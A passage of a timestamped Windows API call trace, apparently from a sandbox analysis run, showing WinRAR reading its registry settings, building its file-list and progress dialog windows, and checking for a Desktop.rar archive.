lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad80 | out: phkResult=0x1dad80*=0x0) returned 0x2 [0053.378] GetMenu (hWnd=0x201e6) returned 0x101df [0053.378] GetSubMenu (hMenu=0x101df, nPos=4) returned 0x101eb [0053.379] GetSubMenu (hMenu=0x101eb, nPos=3) returned 0x101ef [0053.379] CheckMenuItem (hMenu=0x101ef, uIDCheckItem=0xa5, uCheck=0x0) returned 0x0 [0053.379] CheckMenuItem (hMenu=0x101ef, uIDCheckItem=0xa6, uCheck=0x8) returned 0x0 [0053.379] GetWindowLongPtrW (hWnd=0x101fc, nIndex=-16) returned 0x44300249 [0053.379] GetLastError () returned 0x0 [0053.379] SetLastError (dwErrCode=0x0) [0053.379] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad80 | out: phkResult=0x1dad80*=0x0) returned 0x2 [0053.379] GetLastError () returned 0x0 [0053.379] SetLastError (dwErrCode=0x0) [0053.379] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad80 | out: phkResult=0x1dad80*=0x0) returned 0x2 [0053.379] GetLastError () returned 0x0 [0053.379] SetLastError (dwErrCode=0x0) [0053.379] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad80 | out: phkResult=0x1dad80*=0x0) returned 0x2 [0053.379] GetLastError () returned 0x0 [0053.379] SetLastError (dwErrCode=0x0) [0053.379] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad80 | out: phkResult=0x1dad80*=0x0) returned 0x2 [0053.379] SendMessageW (hWnd=0x101fc, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0053.380] GetLastError () returned 0x0 [0053.380] SetLastError (dwErrCode=0x0) [0053.380] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1da4f0 | out: phkResult=0x1da4f0*=0x0) returned 0x2 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0053.380] GetVersionExW (in: lpVersionInformation=0x1db040*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x70, szCSDVersion="") | out: lpVersionInformation=0x1db040*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x9, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x8, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x7, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x6, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x5, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x4, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x3, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x2, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x1, lParam=0x0) returned 0x0 [0053.380] SendMessageW (hWnd=0x101fc, Msg=0x101c, wParam=0x0, lParam=0x0) returned 0x0 [0053.380] GetLastError () returned 0x0 [0053.380] SetLastError (dwErrCode=0x0) [0053.380] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.380] GetMenu (hWnd=0x201e6) returned 0x101df [0053.380] CheckMenuItem (hMenu=0x101df, uIDCheckItem=0xa4, uCheck=0x0) returned 0x0 [0053.380] GetLastError () returned 0x0 [0053.380] SetLastError (dwErrCode=0x0) [0053.380] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.380] GetLastError () returned 0x0 [0053.380] SetLastError (dwErrCode=0x0) [0053.380] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.380] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] LoadStringW (in: hInstance=0x13f160000, uID=0x6e, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="Name") returned 0x4 [0053.381] SendMessageW (hWnd=0x101fc, Msg=0x1061, wParam=0x0, lParam=0x1db1a0) returned 0x0 [0053.381] GetLastError () returned 0x0 [0053.381] SetLastError (dwErrCode=0x0) [0053.381] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.381] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] LoadStringW (in: hInstance=0x13f160000, uID=0x6f, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="Size") returned 0x4 [0053.382] SendMessageW (hWnd=0x101fc, Msg=0x1061, wParam=0x1, lParam=0x1db1a0) returned 0x1 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] LoadStringW (in: hInstance=0x13f160000, uID=0x70, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="Type") returned 0x4 [0053.382] SendMessageW (hWnd=0x101fc, Msg=0x1061, wParam=0x2, lParam=0x1db1a0) returned 0x2 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] LoadStringW (in: hInstance=0x13f160000, uID=0x72, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="Modified") returned 0x8 [0053.382] SendMessageW (hWnd=0x101fc, Msg=0x1061, wParam=0x3, lParam=0x1db1a0) returned 0x3 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.382] GetLastError () returned 0x0 [0053.382] SetLastError (dwErrCode=0x0) [0053.382] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad00 | out: phkResult=0x1dad00*=0x0) returned 0x2 [0053.383] SendMessageW (hWnd=0x101fc, Msg=0x101f, wParam=0x0, lParam=0x0) returned 0x101fe [0053.383] SendMessageW (hWnd=0x101fc, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0053.383] GetClientRect (in: hWnd=0x201e6, lpRect=0x1db1d0 | out: lpRect=0x1db1d0) returned 1 [0053.383] GetWindowRect (in: hWnd=0x0, lpRect=0x1db170 | out: lpRect=0x1db170) returned 0 [0053.383] GetWindowRect (in: hWnd=0x0, lpRect=0x1db170 | out: lpRect=0x1db170) returned 0 [0053.383] MoveWindow (hWnd=0x101fc, X=0, Y=0, nWidth=1064, nHeight=567, bRepaint=1) returned 1 [0053.383] ShowWindow (hWnd=0x101fc, nCmdShow=5) returned 0 [0053.385] GetMenu (hWnd=0x201e6) returned 0x101df [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x66, uEnable=0x1) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x78, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x83, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x80, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x7b, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x84, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x85, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x86, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0x87, uEnable=0x0) returned 0 [0053.385] EnableMenuItem (hMenu=0x101df, uIDEnableItem=0xa4, uEnable=0x1) returned 0 [0053.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="rar", cchCount2=-1) returned 2 [0053.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="exe", cchCount2=-1) returned 3 [0053.385] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x1d3f30 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.385] GetLastError () returned 0x0 [0053.385] SetLastError (dwErrCode=0x0) [0053.385] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x9, phkResult=0x1d21a0 | out: phkResult=0x1d21a0*=0x0) returned 0x2 [0053.385] ExpandEnvironmentStringsW (in: lpSrc="", lpDst=0x1d2ee0, nSize=0x800 | out: lpDst="") returned 0x1 [0053.385] GetFileAttributesW (lpFileName="Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar")) returned 0xffffffff [0053.385] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1d3e90 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar")) returned 0xffffffff [0053.386] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d5f00, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d5ef8 | out: pSid=0x1d5ef8*=0x2e27d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0053.386] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2e27d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1d5ef0 | out: IsMember=0x1d5ef0) returned 1 [0053.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=1, lpString2="WinCon", cchCount2=6) returned 1 [0053.386] QueryPerformanceCounter (in: lpPerformanceCount=0x1d5c60 | out: lpPerformanceCount=0x1d5c60*=12872668189) returned 1 [0053.386] IsAppThemed () returned 0x1 [0053.386] IsThemeActive () returned 0x1 [0053.386] GetLastError () returned 0x0 [0053.386] SetLastError (dwErrCode=0x0) [0053.387] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x1d57e0 | out: phkResult=0x1d57e0*=0x18c) returned 0x0 [0053.387] RegQueryValueExW (in: hKey=0x18c, lpValueName="SystemProgressBar", lpReserved=0x0, lpType=0x1d5c44, lpData=0x1d5c40, lpcbData=0x1d5c78*=0x4 | out: lpType=0x1d5c44*=0x0, lpData=0x1d5c40*=0x1, lpcbData=0x1d5c78*=0x4) returned 0x2 [0053.387] RegCloseKey (hKey=0x18c) returned 0x0 [0053.387] GetLastError () returned 0x0 [0053.387] SetLastError (dwErrCode=0x0) [0053.387] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x1d57e0 | out: phkResult=0x1d57e0*=0x18c) returned 0x0 [0053.387] RegQueryValueExW (in: hKey=0x18c, lpValueName="TaskbarProgressBar", lpReserved=0x0, lpType=0x1d5c44, lpData=0x1d5c40, lpcbData=0x1d5c78*=0x4 | out: lpType=0x1d5c44*=0x0, lpData=0x1d5c40*=0x1, lpcbData=0x1d5c78*=0x4) returned 0x2 [0053.387] RegCloseKey (hKey=0x18c) returned 0x0 [0053.387] FindResourceW (hModule=0x13f160000, lpName="CMDWNDADD", lpType=0x5) returned 0x13f3535c8 [0053.387] LoadResource (hModule=0x13f160000, hResInfo=0x13f3535c8) returned 0x13f41a010 [0053.387] SizeofResource (hModule=0x13f160000, hResInfo=0x13f3535c8) returned 0x414 [0053.387] CreateDialogIndirectParamW (hInstance=0x13f160000, lpTemplate=0x34d340, hWndParent=0x0, lpDialogFunc=0x13f2268c4, dwInitParam=0x0) returned 0x1020e [0053.396] GetWindowRect (in: hWnd=0x1020e, lpRect=0x1d27f8 | out: lpRect=0x1d27f8) returned 1 [0053.396] GetClientRect (in: hWnd=0x1020e, lpRect=0x1d2818 | out: lpRect=0x1d2818) returned 1 [0053.396] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Preparing files...") returned 18 [0053.396] SetWindowTextW (hWnd=0x1020e, lpString="Preparing files...") returned 1 [0053.396] GetSystemMetrics (nIndex=8) returned 3 [0053.396] GetWindow (hWnd=0x1020e, uCmd=0x5) returned 0x10210 [0053.396] GetWindowTextW (in: hWnd=0x10210, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0053.396] GetWindowTextW (in: hWnd=0x10212, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x10214 [0053.396] GetWindowTextW (in: hWnd=0x10214, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0053.396] GetWindowTextW (in: hWnd=0x10216, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10218 [0053.396] GetWindowTextW (in: hWnd=0x10218, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0053.396] GetWindowTextW (in: hWnd=0x1021a, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x1021c [0053.396] GetWindowTextW (in: hWnd=0x1021c, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.396] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0053.397] GetWindowTextW (in: hWnd=0x1021e, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Elapsed time") returned 12 [0053.397] SetWindowTextW (hWnd=0x1021e, lpString="Elapsed time") returned 1 [0053.397] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10220 [0053.397] GetWindowTextW (in: hWnd=0x10220, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.397] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0053.397] GetWindowTextW (in: hWnd=0x10222, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Time left") returned 9 [0053.397] SetWindowTextW (hWnd=0x10222, lpString="Time left") returned 1 [0053.397] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x10224 [0053.397] GetWindowTextW (in: hWnd=0x10224, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.397] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0053.397] GetWindowTextW (in: hWnd=0x10226, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.397] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10228 [0053.397] GetWindowTextW (in: hWnd=0x10228, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Compression ratio") returned 17 [0053.397] SetWindowTextW (hWnd=0x10228, lpString="Compression ratio") returned 1 [0053.397] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0053.397] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.397] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x1022c [0053.397] GetWindowTextW (in: hWnd=0x1022c, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Processed") returned 9 [0053.397] SetWindowTextW (hWnd=0x1022c, lpString="Processed") returned 1 [0053.397] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0053.397] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.397] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10230 [0053.397] GetWindowTextW (in: hWnd=0x10230, lpString=0x1d2840, nMaxCount=1024 | out: lpString="") returned 0 [0053.397] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0053.397] GetWindowTextW (in: hWnd=0x10232, lpString=0x1d2840, nMaxCount=1024 | out: lpString="&Background") returned 11 [0053.397] SetWindowTextW (hWnd=0x10232, lpString="&Background") returned 1 [0053.397] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x10234 [0053.397] GetWindowTextW (in: hWnd=0x10234, lpString=0x1d2840, nMaxCount=1024 | out: lpString="&Pause") returned 6 [0053.397] SetWindowTextW (hWnd=0x10234, lpString="&Pause") returned 1 [0053.397] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0053.397] GetWindowTextW (in: hWnd=0x10236, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0053.397] SetWindowTextW (hWnd=0x10236, lpString="Cancel") returned 1 [0053.397] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10238 [0053.397] GetWindowTextW (in: hWnd=0x10238, lpString=0x1d2840, nMaxCount=1024 | out: lpString="&Mode...") returned 8 [0053.397] SetWindowTextW (hWnd=0x10238, lpString="&Mode...") returned 1 [0053.398] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0053.398] GetWindowTextW (in: hWnd=0x1023a, lpString=0x1d2840, nMaxCount=1024 | out: lpString="Help") returned 4 [0053.398] SetWindowTextW (hWnd=0x1023a, lpString="Help") returned 1 [0053.398] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x0 [0053.398] IsWindowVisible (hWnd=0x1020e) returned 0 [0053.398] GetParent (hWnd=0x1020e) returned 0x0 [0053.398] IsWindowVisible (hWnd=0x0) returned 0 [0053.398] GetDesktopWindow () returned 0x10010 [0053.398] GetWindowRect (in: hWnd=0x10010, lpRect=0x1d4018 | out: lpRect=0x1d4018) returned 1 [0053.398] GetWindowRect (in: hWnd=0x1020e, lpRect=0x1d4028 | out: lpRect=0x1d4028) returned 1 [0053.398] GetWindowLongPtrW (hWnd=0x1020e, nIndex=-16) returned 0x84ca08cc [0053.398] SetWindowPos (hWnd=0x1020e, hWndInsertAfter=0x0, X=565, Y=315, cx=0, cy=0, uFlags=0x215) returned 1 [0053.400] SendMessageW (hWnd=0x1020e, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0053.400] GetSystemMenu (hWnd=0x1020e, bRevert=0) returned 0x10205 [0053.400] EnableMenuItem (hMenu=0x10205, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0053.400] EnableMenuItem (hMenu=0x10205, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0053.400] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0053.400] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x1020e, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x1023c [0053.400] GetWindowRect (in: hWnd=0x10216, lpRect=0x1d4048 | out: lpRect=0x1d4048) returned 1 [0053.400] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1020e, lpPoints=0x1d4048, cPoints=0x2 | out: lpPoints=0x1d4048) returned -22217272 [0053.400] SendMessageW (hWnd=0x1023c, Msg=0x432, wParam=0x0, lParam=0x1d4030) returned 0x1 [0053.400] GetDlgItem (hDlg=0x1020e, nIDDlgItem=165) returned 0x10212 [0053.401] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x1020e, hMenu=0x0, hInstance=0x13f160000, lpParam=0x0) returned 0x1023e [0053.401] GetWindowRect (in: hWnd=0x10212, lpRect=0x1d4048 | out: lpRect=0x1d4048) returned 1 [0053.401] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1020e, lpPoints=0x1d4048, cPoints=0x2 | out: lpPoints=0x1d4048) returned -22217272 [0053.401] SendMessageW (hWnd=0x1023e, Msg=0x432, wParam=0x0, lParam=0x1d4030) returned 0x1 [0053.401] IsWindowVisible (hWnd=0x201e6) returned 0 [0053.401] IsIconic (hWnd=0x201e6) returned 0 [0053.401] GetWindowPlacement (in: hWnd=0x1020e, lpwndpl=0x1d44e0 | out: lpwndpl=0x1d44e0) returned 1 [0053.401] SetWindowPlacement (hWnd=0x201e6, lpwndpl=0x1d44e0) returned 1 [0053.401] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x46, wParam=0x0, lParam=0x1d4080) returned 0x0 [0053.401] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x24, wParam=0x0, lParam=0x1d2870) returned 0x0 [0053.401] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1d4050) returned 0x0 [0053.401] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d2750) returned 0x1 [0053.402] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x47, wParam=0x0, lParam=0x1d4080) returned 0x0 [0053.402] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x3, wParam=0x0, lParam=0x180023d) returned 0x0 [0053.402] GetClientRect (in: hWnd=0x201e6, lpRect=0x1d11c0 | out: lpRect=0x1d11c0) returned 1 [0053.402] GetWindowRect (in: hWnd=0x0, lpRect=0x1d1160 | out: lpRect=0x1d1160) returned 0 [0053.402] GetWindowRect (in: hWnd=0x0, lpRect=0x1d1160 | out: lpRect=0x1d1160) returned 0 [0053.402] MoveWindow (hWnd=0x101fc, X=0, Y=2, nWidth=293, nHeight=189, bRepaint=1) returned 1 [0053.405] IsIconic (hWnd=0x201e6) returned 0 [0053.405] GetClientRect (in: hWnd=0x201e6, lpRect=0x1d1140 | out: lpRect=0x1d1140) returned 1 [0053.405] GetWindowRect (in: hWnd=0x0, lpRect=0x1d10e0 | out: lpRect=0x1d10e0) returned 0 [0053.405] GetWindowRect (in: hWnd=0x0, lpRect=0x1d10e0 | out: lpRect=0x1d10e0) returned 0 [0053.405] MoveWindow (hWnd=0x101fc, X=0, Y=1, nWidth=293, nHeight=191, bRepaint=1) returned 1 [0053.405] IsIconic (hWnd=0x201e6) returned 0 [0053.405] GetClientRect (in: hWnd=0x201e6, lpRect=0x1d1150 | out: lpRect=0x1d1150) returned 1 [0053.405] GetWindowRect (in: hWnd=0x0, lpRect=0x1d10f0 | out: lpRect=0x1d10f0) returned 0 [0053.405] GetWindowRect (in: hWnd=0x0, lpRect=0x1d10f0 | out: lpRect=0x1d10f0) returned 0 [0053.405] MoveWindow (hWnd=0x101fc, X=0, Y=2046, nWidth=293, nHeight=-3899, bRepaint=1) returned 1 [0053.406] IsIconic (hWnd=0x201e6) returned 0 [0053.406] GetClientRect (in: hWnd=0x201e6, lpRect=0x1d10d0 | out: lpRect=0x1d10d0) returned 1 [0053.406] GetWindowRect (in: hWnd=0x0, lpRect=0x1d1070 | out: lpRect=0x1d1070) returned 0 [0053.406] GetWindowRect (in: hWnd=0x0, lpRect=0x1d1070 | out: lpRect=0x1d1070) returned 